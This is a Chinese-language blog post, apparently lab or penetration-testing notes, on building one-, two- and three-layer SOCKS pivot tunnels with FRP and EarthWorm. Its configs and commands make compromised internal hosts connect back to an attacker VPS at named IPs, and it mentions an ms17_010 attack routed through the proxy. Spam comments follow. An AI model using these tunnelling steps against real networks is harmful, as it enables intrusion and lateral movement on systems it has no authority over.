一、Socks代理-FRP (反向代理,由客户端主动连接服务端,使vps服务端能够通过客户端访问内网)
项目地址:https://github.com/fatedier/frp/tree/master
(下载发行版https://github.com/fatedier/frp/releases)
使用说明:https://www.uedbox.com/post/9180/
在得到target1的shell之后,需要通过FRP建立socket代理:
vps:8.131.57.209
target1:192.168.1.8 && 192.168.22.128
target2:192.168.22.129 && 192.168.33.128
target3:192.168.33.33
1.建立Socks代理
(1)VPS:8.131.57.209
./frps -c frps_vps.ini (服务端启动配置文件)
通过ps -elf查看frp进程来确认是否建立成功
cat frps_vps.ini (配置文件内容)
[common]
bind_port = 7000

(2)Target1:192.168.1.195
./frpc -c frpc_1.ini (注意文件名称)
cat frp_1.ini
[common] (必须有的配置)
server_addr = 8.131.57.209
server_port = 7000
[socks5] (建立sock代理通道的配置,名称可更改)
type = tcp
plugin = socks5
remote_port = 10088 (其他代理需要连接的端口)
通过信息搜集、getshell后配置代理连接target2的shell
使用proxychains给命令配置代理时需先更改配置文件/etc/proxychains.conf (端口为上面设置的10088)

2.配置Socks代理连接Shell


3.FRP创建二层Socks代理
通过信息收集发现target3,创建二层socks代理
(1)VPS:8.131.57.209
./frps -c frps_vps.ini (vps执行命令)
[common]
bind_port = 7000

(2)Target1:192.168.1.8
/frpc -c frpc_11.ini (target1执行命令,这里执行的是frpc)
[common] # (与vps建立连接)
server_addr = 8.131.57.209
server_port = 7000
[socks5_1] # (通过构建通道实现外网访问target2)
type = tcp
remote_port = 10088 # (通知vps进行监听的端口)
plugin = socks5
[socks5_to_33] # (通过流量转发实现外网访问target3)
type = tcp
local_ip = 127.0.0.1 # (本地,target1)
local_port = 10089 #(本地端口,target1上的端口)
remote_port = 10090 # (通知vps进行监听的端口,用于连接target3)

(3)Target1:192.168.22.128
./frps -c frps_1.ini (target1执行命令,这里执行的是frps,启动服务端,用于与target2进行连接)
[common]
bind_port = 7000 (本地服务端target1进行监听的端口)

(4)Target2:192.168.33.129
./frpc -c frpc_2.ini (开启客户端,与target1进行连接)
[common]
server_addr = 192.168.22.128 # (target1的IP与端口)
server_port = 7000
[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089 #(服务端target1进行监听转发的端口,同时也是target1与vps建立连接的端口,目的是串联通道)

再次通过信息搜集等操作进行getshell
在对target3进行ms17_010漏洞攻击时需多设置一个代理
set proxies socks5:代理服务器IP:二层代理端口(10090)
二、Socks代理-EW
项目地址:https://github.com/idlefire/ew
使用说明:http://rootkiter.com/EarthWorm/
1.EW使用介绍

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理
2.EW创建Socks服务

3.EW创建一层Socks代理
(1)VPS:
./ew_vps -s rcsocks -l 1888 -e 7788 (创建流量转发)

(2)Target1:
./ew1 -s rssocks -d 8.131.57.209 -e 7788 (创建反弹代理,反弹socks5)

4.EW创建二层Socks代理
(1)VPS:8.131.57.209
./ew_vps -s lcx_listen -l 10088 -e 7788 (创建反向代理,流量转发)

(2)Target2:192.168.22.128
./ew2 -s ssocksd -l 9999

(3)Target1:192.168.1.8
./ew1 -s lcx_slave -d 8.131.57.209 -e 7788 -f 192.168.22.129 -g 9999 (-f和-g分别表示正向连接的目标和端口)

5.EW建立三层Socks代理
(1)VPS:47.101.214.85
./ew_vps -s rcsocks -l 10090 -e 6666
(2)Target2
./ew2 -s lcx_listen -l 7778 -e 7777
(3)Target3
./ew_for_win.exe -s rssocks -d 192.168.33.22 -e 7777
(4)Target1
./ew1 -s lcx_slave -d 47.101.214.85 -e 6666 -f 192.168.22.22 -g 7778
VPS: ./ew_vps -s rcsocks -l 10090 -e 6666
Target1: ./ew1 -s lcx_slave -d 47.101.214.85 -e 6666 -f 192.168.22.22 -g 7778
Target2: ./ew2 -s lcx_listen -l 7778 -e 7777
Target3: ./ew_for_win.exe -s rssocks -d 192.168.33.22 -e 7777
数据流向: SOCKS v5 -> 10090 -> 6666-> 7778-> 7777 -> rssocks
Comments | 6 条评论
I’m curious to find out what blog system you have been utilizing?
I’m having some minor security issues with my latest
site and I’d like to find something more risk-free.
Do you have any recommendations?
@daftar slot My site is wordpress, and as long as you keep your wordpress up to date and install security plug-ins, it’s pretty much safe.
I do consider all of the ideas you’ve introduced for your post.
They’re really convincing and can definitely work.
Nonetheless, the posts are very quick for newbies.
Could you please prolong them a bit from subsequent time?
Thank you for the post.
@Slot Online Sure! I will update my posts in my spare time and improve them over time.
I am really loving the theme/design of your site.
Do you ever run into any internet browser compatibility issues?
A number of my blog visitors have complained about my website
not operating correctly in Explorer but looks great in Chrome.
Do you have any suggestions to help fix this problem?
@Slot online Gacor I haven’t had any compatibility issues because the theme is really good. The only downside is that the browser is slow to load the first time, requiring a lot of resource environments to load. For compatibility issues, I recommend that you optimize the design of your blog theme.